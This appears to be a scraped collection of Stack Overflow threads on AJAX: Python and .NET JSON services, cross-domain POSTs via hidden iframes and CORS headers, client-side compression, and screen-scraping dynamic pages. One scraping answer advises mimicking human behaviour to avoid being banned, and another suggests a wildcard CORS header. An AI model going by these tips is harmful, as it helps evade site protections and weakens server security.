</cc1:ModalPopupExtender>
<asp:Panel ID="PanelComments" runat="server" CssClass="ModalPopup"
BorderColor="#0033CC" BorderStyle="Groove" BorderWidth="4px"
Width="400" Height="150">
<span class="HeaderText" />
Enter comments for the change request:<br />
<br />
<asp:TextBox ID="tbComments" runat="server" Height="54px" TextMode="MultiLine"
class="NormalText" Width="97%"></asp:TextBox>
<br />
<br />
<asp:Button ID="ButtonCommentsOK" runat="server" Text="OK"
onclick="ButtonCommentsOK_Click" Width="100px" UseSubmitBehavior="False" />
<asp:Button ID="ButtonCommentsCancel" runat="server" Text="Cancel"
Width="100px" />
</asp:Panel>
</td>
</tr>
</table>
</div>
</ContentTemplate>
</asp:UpdatePanel>
<%--<asp:Panel ID="PanelChangeComments" runat="server" CssClass="HeaderText"
Height="213px" Width="530px" Visible="False">
Enter change comments:<br />
<br />
<asp:TextBox ID="tbEnterChangeComments" runat="server" Height="119px"
TextMode="MultiLine" Width="525px"></asp:TextBox>
<br />
<br />
<span class="NormalText"></span>
<asp:Button ID="btnChangeCommentsOK" runat="server" Text="OK"
onclick="btnChangeCommentsOK_Click" />
<asp:Button ID="btnChangeCommentsCancel" runat="server" Text="Cancel" />
</asp:Panel>--%>
</form>
any ideas?
@lisa:
Try creating delegates for you functions first, and then add them to the event queue:
var pageLoaded = Function.createDelegate(this, pageLoaded);
prm.add_pageLoaded(pageLoaded);
I want to create a very simple HTML/AJAX based GUI for a Python program. So the frontend is a HTML page which communicates with the program via AJAX. Can you give me a minimal implementation for the server-side using the python SimpleHTTPServer.SimpleHTTPRequestHandler?
A simple example would be a textfield and a button. When the button is pressed the content of the field is send to the server which then sends back a corresponding answer. I am aware that there are many powerful solutions for this in Python, but I would like to keep this very simple. I already found some nice examples for such a server (e.g. here), but so far I could not come up with a truly minimal one.
In case you wonder why I want to implement the GUI in such a way: My focus for this application is to display lots of data in a nice layout with only minimal interaction - so using HTML+CSS seems most convenient (and I have been already using it for non-interactive data display).
O.K., I think I can now answer my own question. Here is an example implementation for calculating the square of a number on the server. Please let me know if there are any improvements or misconceptions.
the python server file:
import threading
import webbrowser
import BaseHTTPServer
import SimpleHTTPServer
FILE = 'frontend.html'
PORT = 8080
class TestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
"""The test example handler."""
def do_POST(self):
"""Handle a post request by returning the square of the number."""
length = int(self.headers.getheader('content-length'))
data_string = self.rfile.read(length)
try:
result = int(data_string) ** 2
except:
result = 'error'
self.wfile.write(result)
def open_browser():
"""Start a browser after waiting for half a second."""
def _open_browser():
webbrowser.open('http://localhost:%s/%s' % (PORT, FILE))
thread = threading.Timer(0.5, _open_browser)
thread.start()
def start_server():
"""Start the server."""
server_address = ("", PORT)
server = BaseHTTPServer.HTTPServer(server_address, TestHandler)
server.serve_forever()
if __name__ == "__main__":
open_browser()
start_server()
...and the HTML file (I call it 'frontend.html', unfortunately the name has to appear in the JavaScript code as well):
<html>
<head>
<title>AJAX test</title>
</head>
<body>
<script type="text/javascript">
function xml_http_post(url, data, callback) {
var req = false;
try {
// Firefox, Opera 8.0+, Safari
req = new XMLHttpRequest();
}
catch (e) {
// Internet Explorer
try {
req = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
req = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {
alert("Your browser does not support AJAX!");
return false;
}
}
}
req.open("POST", url, true);
req.onreadystatechange = function() {
if (req.readyState == 4) {
callback(req);
}
}
req.send(data);
}
function test_button() {
var data = document.test_form.test_text.value;
xml_http_post("frontend.html", data, test_handle)
}
function test_handle(req) {
var elem = document.getElementById('test_result')
elem.innerHTML = req.responseText
}
</script>
<form name=test_form>
sqr(
<input type="text" name="test_text" value="0" size="4">
) =
<span id="test_result">0</span>
<input type=button onClick="test_button();" value="start" title="start">
</form>
</body>
</html>
Of course it would be much more convenient to use jQuery for the XML request, but in the interest of simplicity I'll leave it like that.
Finally an alternative implementation using WSGI (unfortunately I didn't see a way to fall back on the standard file-serving handler if the request is not a POST):
import threading
import webbrowser
from wsgiref.simple_server import make_server
FILE = 'frontend.html'
PORT = 8080
def test_app(environ, start_response):
if environ['REQUEST_METHOD'] == 'POST':
try:
request_body_size = int(environ['CONTENT_LENGTH'])
request_body = environ['wsgi.input'].read(request_body_size)
except (TypeError, ValueError):
request_body = "0"
try:
response_body = str(int(request_body) ** 2)
except:
response_body = "error"
status = '200 OK'
headers = [('Content-type', 'text/plain')]
start_response(status, headers)
return [response_body]
else:
response_body = open(FILE).read()
status = '200 OK'
headers = [('Content-type', 'text/html'),
('Content-Length', str(len(response_body)))]
start_response(status, headers)
return [response_body]
def open_browser():
"""Start a browser after waiting for half a second."""
def _open_browser():
webbrowser.open('http://localhost:%s/%s' % (PORT, FILE))
thread = threading.Timer(0.5, _open_browser)
thread.start()
def start_server():
"""Start the server."""
httpd = make_server("", PORT, test_app)
httpd.serve_forever()
if __name__ == "__main__":
open_browser()
start_server()
Use the WSGI reference implementation. In the long run, you'll be happier.
from wsgiref.simple_server import make_server, demo_app
httpd = make_server('', 8000, demo_app)
print "Serving HTTP on port 8000..."
# Respond to requests until process is killed
httpd.serve_forever()
The demo_app is relatively easy to write; it handles your Ajax requests.
I need to make an AJAX request from a website to a REST web service hosted in another domain.
Although this is works just fine in Internet Explorer, other browsers such as Mozilla and Google Chrome impose far stricter security restrictions, which prohibit cross-site AJAX requests.
The problem is that I have no control over the domain nor the web server where the site is hosted. This means that my REST web service must run somewhere else, and I can't put in place any redirection mechanism.
Here is the JavaScript code that makes the asynchronous call:
var serviceUrl = "http://myservicedomain";
var payload = "<myRequest><content>Some content</content></myRequest>";
var request = new XMLHttpRequest();
request.open("POST", serviceUrl, true); // <-- This fails in Mozilla Firefox amongst other browsers
request.setRequestHeader("Content-type", "text/xml");
request.send(payload);
How can I have this work in other browsers beside Internet Explorer?
maybe jsonp can help.
NB youll have to change your messages to use json instead of xml
Edit
Major sites such as flickr and twitter support jsonp with callbacks etc
The not very clear workaround (but works) is using iframe as container for requests to another sites. The problem is, the parent can not access iframe's content, can only navigate iframe's "src" attribut. But the iframe content can access parent's content.
So, if the iframe's content know, they can call some javascript content in parent page or directly access parent's DOM.
EDIT: Sample:
function ajaxWorkaroung() {
var frm = gewtElementById("myIFrame")
frm.src = "http://some_other_domain"
}
function ajaxCallback(parameter){
// this function will be called from myIFrame's content
}
The post marked as the answer is erroneous: the iframes document is NOT able to access the parent. The same origin policy works both ways.
The fact is that it is not possible in any way to consume a rest based webservice using xmlhttprequest. The only way to load data from a different domain (without any framework) is to use JSONP. Any other solutions demand a serverside proxy located on your own domain, or a client side proxy located on the remote domain and som sort of cross-site communication (like easyXDM) to communicate between the documents.
The fact that this works in IE is a security issue with IE, not a feature.
Unfortunately cross-site scripting is prohibited, and the accepted work around is to proxy the requests through your own domain: do you really have no ability to add or modify server side code?
Furthermore, the secondary workaround - involving the aquisition of data through script tags - is only going to support GET requests, which you might be able to hack with a SOAP service, but not so much with the POST request to a RESTful service you describe.
I'm really not sure an AJAX solution exists, you might be back to a <form> solution.
Have you tried posting to an IFrame ?
This post could be helpful for you.
Edit(Adam): Post was linked incorrectly, but points to a blank page anyway. Here's a more useful post on Firefox's implementation of the W3C "Access Control For Cross Site Requests."
I'm thinking about how limiting it is for AJAX apps to have to poll for updates, when what would be ideal is for javascript to be able to set up a real two way connection to the server. I'm wondering if there is some method of integrating javascript with a browser plugin that can make a tcp connection so that I could pass data into and out of the browser plugin.
Here is an implementation with a similar approach:
It uses a Java Applet and bridges its API to JavaScript, interesting...
And here another one:
This one is a wrapper of the Actionscript 3 Socket API, bridged to JavaScript...
jSocket and Stream are two options that utilize Flash's built-in XML sockets, though neither appears to be production-ready. I'd lean towards using a Flash-based solution rather than Java, as browser penetration is higher and generally offers a better user experience (load times & stability).
WebSockets is designed to solve this problem.
You can use node.js framework's socket.io package which can can be installed via npm (A node package manager).
More detailed usage.
You are a genius you know. This is most definitely possible, you do need to write a flash-Javascript library, haven't heard of one, but the idea is totally doable. You just need the TCP in flash with well defined callback API for javascript (or you could just call strings to give you more flexibility).
Anyways pure genius I say.
I want to send an array constructed in javascript with the selected values of a multiple select. Is there a way to send this array to a php script using ajax?
You can post back to your server with XML or JSON. Your javascript will have to construct the post, which in the case of XML would require you to create it in javascript. JSON is not only lighterweight but easier to make in javascript. Check out JSON-PHP for parsing JSON.
You might want to take a look at Creating JSON Data in PHP
You might do that with $.post method of jQuery (for example) :
var myJavascriptArray = new Array('jj', 'kk', 'oo');
$.post('urltocallinajax', {'myphpvariable[]': myJavascriptArray }, function(data){
// do something with received data!
});
Php will receive an array which will be name myphpvariable and it will contain the myJavascriptArray values.
Is it that ?
IIRC, if PHP sees a query string that looks like http://blah.com/test.php?var[]=foo&var[]=bar&var[]=baz, it will automatically make an array called $var that contains foo, bar and baz. I think you can even specify the array index in the square brackets of the query string and it will stick the value in that index. You may need to URL encode the brackets... The usual way this feature is used is in creating an HTML input field with the name "var[]", so just do whatever the browser normally does there. There's a section in the PHP documentation on array variables through the request.
You may be looking for a way to Serialize (jQuery version) the data.
You can create an array and send it, as Meador recommended: (following code is Mootooled, but similar in other libraries / plain old JS)
myArray.each(function(item, index) myObject.set('arrayItems['+index+']', item);
myAjax.send(myObject.toQueryString());
That will send to php an array called arrayItems, which can be accessed through $_POST['arrayItems']
echo $_POST['arrayItems'] ;
will echo something like: array=>{[0]=>'first thing', [1]=> second thing}
How do I send a cross-domain POST request via JavaScript?
Notes - it shouldn't refresh the page, and I need to grab and parse the response afterward.
Your help with some code examples will be much appreciated.
Pseudocode
var ifr = document.createElement('iframe');
var frm = document.createElement('form');
frm.setAttribute("action", "yoururl");
frm.setAttribute("method", "post");
// create hidden inputs, add them
// not shown, but similar (create, setAttribute, appendChild)
ifr.appendChild(frm);
document.body.appendChild(ifr);
frm.submit();
You probably want to style the iframe, to be hidden and absolutely positioned. Not sure cross site posting will be allowed by the browser, but if so, this is how to do it.
If you have access to all servers involved, put the following in the header of the reply for the page being requested in the other domain:
PHP:
header('Access-Control-Allow-Origin: *');
For example, in Drupal's xmlrpc.php code you would do this:
function xmlrpc_server_output($xml) {
$xml = '<?xml version="1.0"?>'."\n". $xml;
header('Connection: close');
header('Content-Length: '. strlen($xml));
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/x-www-form-urlencoded');
header('Date: '. date('r'));
// $xml = str_replace("\n", " ", $xml);
echo $xml;
exit;
}
This probably creates a security problem, and you should make sure that you take the appropriate measures to verify the request.
Lou Franco's answer didn't work for me, so I wrote my own variation.
Here's sample code; I tested it on IE6, IE7, IE8, IE9, FF4, GC11, S5.
function crossDomainPost() {
// Add the iframe with a unique name
var iframe = document.createElement("iframe");
var uniqueString = "CHANGE_THIS_TO_SOME_UNIQUE_STRING";
document.body.appendChild(iframe);
iframe.style.display = "none";
iframe.contentWindow.name = uniqueString;
// construct a form with hidden inputs, targeting the iframe
var form = document.createElement("form");
form.target = uniqueString;
form.action = "http://INSERT_YOUR_URL_HERE";
form.method = "POST";
// repeat for each parameter
var input = document.createElement("input");
input.type = "hidden";
input.name = "INSERT_YOUR_PARAMETER_NAME_HERE";
input.value = "INSERT_YOUR_PARAMETER_VALUE_HERE";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
As Ido Schacham pointed out, you won't be able to directly access the results of the POST, since the iframe exists on a separate domain.
But this problem isn't totally insurmountable; you can do cross-domain cross-frame communication, if the remote server is willing to communicate with you, using window.postMessage and/or one of a number of libraries allowing you to send cross-domain cross-frame messages in older browsers:
If you control the server being POSTed, simply leverage the "Cross-Origin Resource Sharing standard" by setting response headers on the server. This answer is discussed in other answers in this thread, but not very clearly in my opinion.
In short here is how you accomplish the cross domain POST from from.com/1.html to to.com/postHere.php (using PHP as an example)
In postHere.php setup the following:
switch ($_SERVER['HTTP_ORIGIN']) {
case 'http://from.com': case 'https://from.com':
header('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']);
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Max-Age: 1000');
header('Access-Control-Allow-Headers: Content-Type');
break;
}
This allows your script to make cross domain POST, GET and OPTIONS. This will become clear as you continue to read...
Setup your cross domain POST from JS (jQuery example):
$.ajax({
type: 'POST',
url: 'https://to.com/postHere.php',
crossDomain: true,
data: '{"some":"json"}',
dataType: 'json',
success: function(responseData, textStatus, jqXHR) {
var value = responseData.someKey;
},
error: function (responseData, textStatus, errorThrown) {
alert('POST failed.');
}
});
When you do the POST in step 2, your browser will send a "OPTIONS" method to the server. This is a "sniff" by the browser to see if the server is cool with you POSTing to it. The server responds with an "Access-Control-Allow-Origin" telling the browser its OK to POST|GET|ORIGIN if request originated from "http://from.com" or "https://from.com". Since the server is OK with it, the browser will make a 2nd request (this time a POST). It is good practice to have your client set the content type it is sending - so you'll need to allow that as well.
MDN has a great write-up about HTTP access control, that goes into detail of how the entire flow works. According to their docs, it should "work in browsers that support cross-site XMLHttpRequest". This is a bit misleading however, as I THINK only modern browsers allow cross domain POST. I have only verified this works with safari,chrome,FF 3.6.
Keep in mind the following if you do this:
Check the post_method function in http://taiyolab.com/mbtweet/scripts/twitterapi_call.js - a good example for the iframe method described above.
Create two hidden iframes (add "display: none;" to the css style). Make your second iframe point to something on your own domain.
Create a hidden form, set its method to "post" with target = your first iframe, and optionally set enctype to "multipart/form-data" (I'm thinking you want to do POST because you want to send multipart data like pictures?)
When ready, make the form submit() the POST.
If you can get the other domain to return javascript that will do Cross-Domain Communication With Iframes (http://softwareas.com/cross-domain-communication-with-iframes) then you are in luck, and you can capture the response as well.
Of course, if you want to use your server as a proxy, you can avoid all this. Simply submit the form to your own server, which will proxy the request to the other server (assuming the other server isn't set up to notice IP discrepancies), get the response, and return whatever you like.
High level.... You need to have a cname setup on your server so that other-serve.your-server.com points to other-server.com.
Your page dynamically creates an invisible iframe, which acts as your transport to other-server.com. You then have to communicate via JS from your page to the other-server.com and have call backs that return the data back to your page.
Possible but requires coordination from your-server.com and other-server.com
This is an old question, but some new technology might help someone out.
If you have administrative access to the other server then you can use the opensource Forge project to accomplish your cross-domain POST. Forge provides a cross-domain JavaScript XmlHttpRequest wrapper that takes advantage of Flash's raw socket API. The POST can even be done over TLS.
The reason you need administrative access to the server you are POSTing to is because you must provide a cross-domain policy that permits access from your domain.
Should be possible with a YQL custom table + JS XHR, take a look at: http://developer.yahoo.com/yql/guide/index.html
I use it to do some client side (js) html scraping, works fine (I have a full audio player, with search on internet/playlists/lyrics/last fm informations, all client js + YQL)
I think the best way is to use XMLHttpRequest (e.g. $.ajax(), $.post() in jQuery) with one of Cross-Origin Resource Sharing polyfills https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills#wiki-CORS
I have an MVC view with a form built with the Ajax.BeginForm() helper method, and I'm trying to validate user input with the jQuery Validation plugin. I get the plugin to highlight the inputs with invalid input data, but despite the invalid input the form is posted to the server.
How do I stop this, and make sure that the data is only posted when the form validates?
My code
The form:
<fieldset>
<legend>leave a message</legend>
<% using (Ajax.BeginForm("Post", new AjaxOptions
{
UpdateTargetId = "GBPostList",
InsertionMode = InsertionMode.InsertBefore,
OnSuccess = "getGbPostSuccess",
OnFailure = "showFaliure"
}))
{ %>
<div class="column" style="width: 230px;">
<p>
<label for="Post.Header">
Rubrik</label>
<%= Html.TextBox("Post.Header", null, new { @style = "width: 200px;", @class="text required" }) %></p>
<p>
<label for="Post.Post">
Meddelande</label>
<%= Html.TextArea("Post.Post", new { @style = "width: 230px; height: 120px;" }) %></p>
</div>
<p>
<input type="submit" value="OK!" /></p>
</fieldset>
The JavaScript validation:
$(document).ready(function() {
// for highlight
var elements = $("input[type!='submit'], textarea, select");
elements.focus(function() {
$(this).parents('p').addClass('highlight');
});
elements.blur(function() {
$(this).parents('p').removeClass('highlight');
});
// for validation
$("form").validate();
});
EDIT: As I was getting downvotes for publishing follow-up problems and their solutions in answers, here is also the working validate method...
function ajaxValidate() {
return $('form').validate({
rules: {
"Post.Header": { required: true },
"Post.Post": { required: true, minlength: 3 }
},
messages: {
"Post.Header": "Please enter a header",
"Post.Post": {
required: "Please enter a message",
minlength: "Your message must be 3 characters long"
}
}
}).form();
}
Try adding an OnBegin callback to the AjaxOptions and return the value of $('form').validate().form() from the callback. Looking at the source it appears that this should work.
function ajaxValidate() {
return $('form').validate().form();
}
<% using (Ajax.BeginForm("Post", new AjaxOptions
{
UpdateTargetId = "GBPostList",
InsertionMode = InsertionMode.InsertBefore,
OnBegin = "ajaxValidate",
OnSuccess = "getGbPostSuccess",
OnFailure = "showFaliure"
}))
{ %>
EDIT updated with correct callback name.
I'm writing a Web application that needs to store JSON data in a small, fixed-size server-side cache via AJAX (think: Opensocial quotas). I do not have control over the server.
I need to reduce the size of the stored data to stay within a server-side quota, and was hoping to be able to gzip the stringified JSON in the browser before sending it up to the server.
However, I cannot find much in the way of JavaScript implementations of Gzip. Any suggestions for how I can compress the data on the client side before sending it up?
I don't know of any gzip implementations, but the jsolait library has functions for LZW compression/decompression. The code is covered under the LGPL.
// LZW-compress a string
function lzw_encode(s) {
var dict = {};
var data = (s + "").split("");
var out = [];
var currChar;
var phrase = data[0];
var code = 256;
for (var i=1; i<data.length; i++) {
currChar=data[i];
if (dict[phrase + currChar] != null) {
phrase += currChar;
}
else {
out.push(phrase.length > 1 ? dict[phrase] : phrase.charCodeAt(0));
dict[phrase + currChar] = code;
code++;
phrase=currChar;
}
}
out.push(phrase.length > 1 ? dict[phrase] : phrase.charCodeAt(0));
for (var i=0; i<out.length; i++) {
out[i] = String.fromCharCode(out[i]);
}
return out.join("");
}
// Decompress an LZW-encoded string
function lzw_decode(s) {
var dict = {};
var data = (s + "").split("");
var currChar = data[0];
var oldPhrase = currChar;
var out = [currChar];
var code = 256;
var phrase;
for (var i=1; i<data.length; i++) {
var currCode = data[i].charCodeAt(0);
if (currCode < 256) {
phrase = data[i];
}
else {
phrase = dict[currCode] ? dict[currCode] : (oldPhrase + currChar);
}
out.push(phrase);
currChar = phrase.charAt(0);
dict[code] = oldPhrase + currChar;
code++;
oldPhrase = phrase;
}
return out.join("");
}
I ported an implementation of LZMA from a GWT module into standalone JavaScript. It's called LZMA-JS.
You can use a 1 pixel per 1 pixel Java applet embedded in the page and use that for compression.
It's not JavaScript and the clients will need a Java runtime but it will do what you need.
I did not test, but there's a javascript implementation of ZIP:
I had another problem, I did not want to encode data in gzip but to decode gzipped data. I am running javascript code outside of the browser so I need to decode it using pure javascript.
It took me some time but i found that in the JSXGraph library there is a way to read gzipped data.
Here is where I found the library: http://jsxgraph.uni-bayreuth.de/wp/2009/09/29/jsxcompressor-zlib-compressed-javascript-code/ There is even a standalone utility that can do that, JSXCompressor, and the code is LGPL licencied.
Just include the jsxcompressor.js file in your project and then you will be able to read a base 64 encoded gzipped data:
<!doctype html>
</head>
<title>Test gzip decompression page</title>
<script src="jsxcompressor.js"></script>
</head>
<body>
<script>
document.write(JXG.decompress('<?php
echo base64_encode(gzencode("Try not. Do, or do not. There is no try."));
?>'));
</script>
</html>
I understand it is not what you wanted but I still reply here because I suspect it will help some people.
Most browsers can decompress gzip on the fly. That might be a better option than a javascript implementation.
I guess a generic client-side JavaScript compression implementation would be a very expensive operation in terms of processing time as opposed to transfer time of a few more HTTP packets with uncompressed payload.
Have you done any testing that would give you an idea how much time there is to save? I mean, bandwidth savings can't be what you're after, or can it?
I can't help you with GZipping on the "fly". But if you want to GZip your WebResource JS then Kariem's blog about GZipping in nAnt might help you...
A JavaScript GZIP implementation: http://code.google.com/p/gzipjs/
Update: I have since moved on to another project, and I am now able to use .Net 4.0. As a result, this question is no longer relevant to me. From the number of views on this question, though, it must still be relevant to a lot of other people.
I saw another question like this but it did not answer my question. I am using .Net framework 2.0 / jQuery to make an Ajax call to a 2.0 web service. No matter what I set the contentType to in the ajax call, the service always returns XML. I want it to return Json!
Here is the call:
$(document).ready(function() {
$.ajax({
type: "POST",
url: "DonationsService.asmx/GetDate",
data: "{}",
contentType: "application/json; charset=utf-8",
dataType: "json",
success: function(msg) {
// Hide the fake progress indicator graphic.
$('#RSSContent').removeClass('loading');
// Insert the returned HTML into the <div>.
$('#RSSContent').html(msg.d);
}
});
});
Here is what the request header looks like in Fiddler:
POST /DonationsService.asmx/GetDate HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: http://localhost:1238/text.htm
Accept: application/json, text/javascript, */*
Content-Type: application/json; charset=utf-8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; eMusic DLM/4; .NET CLR 2.0.50727)
Host: localhost:1238
Content-Length: 2
Connection: Keep-Alive
Pragma: no-cache
I have tried setting the contentType to 'text/json' and get the same results.
Here is the web service method:
<WebMethod()> _
Public Function GetDate() As String
'just playing around with Newtonsoft.Json
Dim sb As New StringBuilder
Dim sw As New IO.StringWriter(sb)
Dim strOut As String = String.Empty
Using jw As New JsonTextWriter(sw)
With jw
.WriteStartObject()
.WritePropertyName("DateTime")
.WriteValue(DateTime.Now.ToString)
.WriteEndObject()
End With
strOut = sw.ToString
End Using
Return strOut
End Function
and here is what it returns:
<?xml version="1.0" encoding="utf-8"?>
<string xmlns="http://DMS.Webservices.org/">{"DateTime":"11/13/2008 6:04:22 PM"}</string>
Does anyone know how to force the web service to return Json when I ask for Json?
Please don't tell me to upgrade to .Net Framework 3.5 or anything like that (I'm not that stupid). I need a 2.0 solution.
Thanks
It's no problem to return JSON from ASMX services in ASP.NET 2.0. You just need the ASP.NET AJAX Extensions installed.
Do be sure to add the [ScriptService] decoration to your web service. That's what instructs the server side portion of the ASP.NET AJAX framework to return JSON for a properly formed request.
Also, you'll need to drop the ".d" from "msg.d" in my example, if you're using it with 2.0. The ".d" is a security feature that came with 3.5.
You need to decorate your web method with the following:
[ScriptMethod(ResponseFormat = ResponseFormat.Json)]
You've got the rest right :)
More info at Encosia and Andrew Roland's Blog
EDIT: As noted below this is .NET 3.5 only (I was unaware of this, my bad).
You probably can't do anything other than XML or binary serialization in .NET 2.0. If you're not using an autogenerated web reference then don't bother with ASMX. Just use an ASPX or ASHX instead.
You can use the Jayrock library Quick start for asp.net
This allows you to write a http handler to return you json.
<%@ WebHandler Class="JayrockWeb.HelloWorld" %>
namespace JayrockWeb
{
using System;
using System.Web;
using Jayrock.Json;
using Jayrock.JsonRpc;
using Jayrock.JsonRpc.Web;
public class HelloWorld : JsonRpcHandler
{
[ JsonRpcMethod("greetings") ]
public string Greetings()
{
return "Welcome to Jayrock!";
}
}
}
I may not be 100% correct on this but I'm sure .net webservices are XML/SOAP based.
You would need to override the default behavior of the webservice. I'm not entirely sure that this would even be possible.
I know this won't be the most useful answer, but may get you headed in the right direction.
See the answers to my question:
ASP.NET - What is the correct approach to JSON based web services with jQuery?
The response is wrapped in a element because you're method says it will return a string. You could use this to be able to send plain json, but your wsdl will be fooled (the function is void but does respond data).
[WebMethod(Description="return pure JSON")]
public void retrieveByIdToPureJSON( int id )
{
Context.Response.Write( JsonConvert.SerializeObject( mydbtable.getById(id) );
}
Good luck, tom
Btw: see Newtonsoft.Json for JsonConvert
It's also possible to just write up your own quick JSON converter using Refelction.
Dim sb As New StringBuilder("{")
For Each p As PropertyInfo In myObject.GetType().GetProperties()
sb.Append(String.Format("""{0}"":""{1}"",", p.Name, p.GetValue(myObject,
Nothing).ToString()))
Next p
//remove the last "," because it's uneeded.
sb.Remove(sb.Length - 1, 1)
sb.Append("}")
What happens if the browser receives a redirect response to an ajax request?
What happens if the browser receives a redirect response to an ajax request?
If the server sends a redirect (aka a 302 response plus a Location: header) the redirect is automatically followed by the browser. The response to the second request (assuming it also isn't another redirect) is what is exposed to your program.
In fact, you don't have the ability to detect whether a 302 response has occurred. If the 302 redirect leads to a 200, then your program acts identically as if the original request led directly to a 200.
This has been both my experience and the behavior called out in the spec.
the ajax-request will follow that redirect afaik. The actual content (.responseText, .responseXML) will be the content from the page you are redirected to.
You might be able to intercept the redirect (status-code, location-header) on readyState 2 or 3, but not sure about it.
I know they're using a jQuery plugin, but I can't seem to find which one they used. In particular, what I'm looking for is autocomplete with exactly the same functionality as SO's autocomplete, where it will perform an AJAX command with each new word typed in and allow you to select one from a dropdown.
Note that the tag editor has been completely re-written now, and no longer resembles the original, simple text box w/ suggestion drop-down that adorned the site for nearly three years.
If you're interested in the new form, see this Meta question: Can I use the tag textbox script?
Autocomplete is the plugin used originally, albeit with various tweaks and customizations made to it over the years.
You might also like this one:
Read the history here: http://code.google.com/p/jquery-autocomplete/wiki/History
I am creating an ajax chat in rails and I am trying to get a div to scroll to the bottom without much luck.
I am wrapping everything in this div:
#scroll {
height:400px;
overflow:scroll;
}
Is there a way to keep it scrolled to the bottom by default using JS?
is there a way to keep it scrolled to the bottom after an ajax request?
Here's what I use on my site (I didn't write it, I just found it somewhere since I don't know Javascript too well.)
var objDiv = document.getElementById("your_div");
objDiv.scrollTop = objDiv.scrollHeight;
This is much easier if you're using jQuery:
$("#mydiv").scrollTop($("#mydiv")[0].scrollHeight);
If you use jQuery then may be you can take a look at this great plugin, it has a lot of options for scrolling, check it out here http://flesler.blogspot.com/2007/10/jqueryscrollto.html
How do you screen scrape ajax pages?
Overview:
All screen scraping first requires manual review of the page you want to extract resources from. When dealing with AJAX you usually just need to analyze a bit more than just simply the HTML.
When dealing with AJAX this just means that the value you want is not in the initial HTML document that you requested, but that javascript will be exectued which asks the server for the extra information you want.
You can therefore usually simply analyze the javascript and see which request the javascript makes and just call this URL instead from the start.
Example:
Take this as an example, assume the page you want to scrape from has the following script:
<script type="text/javascript">
function ajaxFunction()
{
var xmlHttp;
try
{
// Firefox, Opera 8.0+, Safari
xmlHttp=new XMLHttpRequest();
}
catch (e)
{
// Internet Explorer
try
{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
try
{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e)
{
alert("Your browser does not support AJAX!");
return false;
}
}
}
xmlHttp.onreadystatechange=function()
{
if(xmlHttp.readyState==4)
{
document.myForm.time.value=xmlHttp.responseText;
}
}
xmlHttp.open("GET","time.asp",true);
xmlHttp.send(null);
}
</script>
Then all you need to do is instead do an HTTP request to time.asp of the same server instead. Example from w3schools.
Advanced scraping with C++:
For complex usage, and if you're using C++ you could also consider using the firefox javascript engine SpiderMonkey to execute the javascript on a page.
Advanced scraping with Java:
For complex usage, and if you're using Java you could also consider using the firefox javascript engine for Java Rhino
Advanced scraping with .NET:
For complex usage, and if you're using .Net you could also consider using the Microsoft.vsa assembly. Recently replaced with ICodeCompiler/CodeDOM.
If you can get at it, try examining the DOM tree. Selenium does this as a part of testing a page. It also has functions to click buttons and follow links, which may be useful.
Depends on the ajax page. The first part of screen scraping is determining how the page works. Is there some sort of variable you can iterate through to request all the data from the page? Personally I've used Web Scraper Plus for a lot of screen scraping related tasks because it is cheap, not difficult to get started, non-programmers can get it working relatively quickly.
Side Note: Terms of Use is probably somewhere you might want to check before doing this. Depending on the site iterating through everything may raise some flags.
I am currently trying to retrieve only visible text using BeautifulSoup... but I keep getting javascript and html cruft that I didn't really want...
As alternative, I am playing with the idea of spawning a browser programmatically, sending cntr-c key presses to the process, and retrieving the text from the clipboard.
I really like the idea working with rendered data as opposed to the source data. However, this might not help you if you need interact with the dom tree. Personally, I am not happy with the clipboard killing all of my concurrency.. My next step is looking at the Chrome source code...
I have to scrape data from AJAX often. Most of the time the dynamic elements are just making separate HTTP requests, and one must simply watch for each response. Most of the time the responses are plain HTML or XML, so little parsing is needed. I use screen-scraper for this.
As a low cost solution you can also try SWExplorerAutomation (SWEA). The program creates an automation API for any Web application developed with HTML, DHTML or AJAX.
Another best tool that lets us write scrappers on live DOM is solvent from MIT . http://simile.mit.edu/wiki/Solvent .
Also promising is , Envjs at http://www.envjs.com/doc/guides .
If your intention is to scrape to a high scale , you might need to introduce delays and mimic human behavior to avoid being banned by the service being scraped.
To deal with javascript, you must use a tool or write a program with browser core(ie, firefox or webkit), If you can write javascript, you can try:PhantomJS. If you like Python, you can try: PySide, or PyQt, They contain webkit can browser web page with javascript.
If you want a tool for web scraping, you can try our production fminer, It developed with PySide, can scraping any dynamic pages with javascript, and can simulate user's action by record and playback macro.
I'm having difficulty parsing some JSON data returned from my server using jQuery.ajax()
To perform the AJAX I'm using:
$.ajax({
url: myUrl,
cache: false,
dataType: "json",
success: function(data){
...
},
error: function(e, xhr){
...
}
});
And if I return an array of items then it works fine:
[ { title: "One", key: "1" }, { title: "Two", key: "2" } ]
The success function is called and receives the correct object.
However, when I'm trying to return a single object:
{ title: "One", key: "1" }
The error function is called and xhr contains 'parsererror'. I've tried wrapping the JSON in parenthesis on the server before sending it down the wire, but it makes no difference. Yet if I paste the content into a string in Javascript and then use the eval() function, it evaluates it perfectly.
Any ideas what I'm doing wrong?
Anthony
Is your server sending data as Content-Type "*/json"? If not, modify the response headers accordingly. Sending "application/json" would be fine, for example.
According to the json.org specification, your return is invalid. The names are always quoted, so you should be returning
{ "title": "One", "key": "1" }
and
[ { "title": "One", "key": "1" }, { "title": "Two", "key": "2" } ]
This may not be the problem with your setup, since you say one of them works now, but it should be fixed for correctness in case you need to switch to another JSON parser in the future.
JSON strings are wrapped in double quotes; single quotes are not a valid substitute.
{"who": "Hello World"}
is valid but this is not...
{'who': 'Hello World'}
Whilst not the OP's issue, thought it worth noting for others who land here.
Try adding this:
$.ajax({
type: "GET",
url: myURL,
beforeSend: function(x) {
if(x && x.overrideMimeType) {
x.overrideMimeType("application/j-son;charset=UTF-8");
}
},
dataType: "json",
success: function(data){
// do stuff...
}
});
